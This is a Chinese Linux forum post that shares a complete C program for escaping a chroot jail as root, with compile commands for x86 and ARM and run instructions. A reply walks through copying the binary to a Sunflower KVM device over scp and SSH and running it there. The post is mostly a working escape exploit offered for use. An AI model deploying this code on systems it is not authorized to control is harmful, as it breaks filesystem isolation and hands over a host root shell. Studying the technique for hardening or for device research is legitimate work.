登录 立即注册

首页 > 绿虎论坛 > 电脑 > Linux/Unix (发帖)

标题: chroot逃逸工具

作者: @Ta

时间: 2025-06-05发布,2025-06-06修改

点击: 8468

在Github上查看:https://github.com/SwimmingTiger/oraykvm/tree/master/chroot%E9%80%83%E9%80%B8%E5%B7%A5%E5%85%B7

unchroot.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    mkdir("/tmp", 0777);
    mkdir("/tmp/unchroot.dir", 0755);
    chroot("/tmp/unchroot.dir");
    chdir("../../../../../../../../../../../../../../../../../../../../../../../../../../..");
    chroot(".");
    system("/bin/sh -l");
    return 0;
}

编译:

gcc -o unchroot -static unchroot.c

交叉编译为32位ARM二进制

arm-linux-gnueabi-gcc -o unchroot -static unchroot.c

unchroot(491.31 KB)

使用

在chroot环境用root身份执行它即可(如果不是root身份,自行加sudo。如果无法切换到root身份,则无法从chroot中逃逸):

chmod +x ./unchroot
./unchroot

应该会离开chroot环境,进入外面的shell。


思路来自 https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2024/05/25/chroot-escape


[隐藏样式|查看源码]


『回复列表(1|隐藏机器人聊天)』

1.

在向日葵控控A2中进行chroot逃逸

  1. 下载 unchroot(491.31 KB)

  2. 执行命令:

# 注意 scp 的 -P 参数是大写
scp -o 'HostKeyAlgorithms=ssh-rsa' -P 44022 ./unchroot admin@192.168.x.x:/dev/
# 注意 ssh 的 -p 参数是小写
ssh -o 'HostKeyAlgorithms=ssh-rsa' -p 44022 admin@192.168.x.x
chmod +x /dev/unchroot
/dev/unchroot
  1. 效果

image.png(78.71 KB)

(/@Ta/2026-01-31 01:42//)

回复需要登录

1月31日 03:36 星期六

本站由hu60wap6驱动

备案号: 京ICP备18041936号-1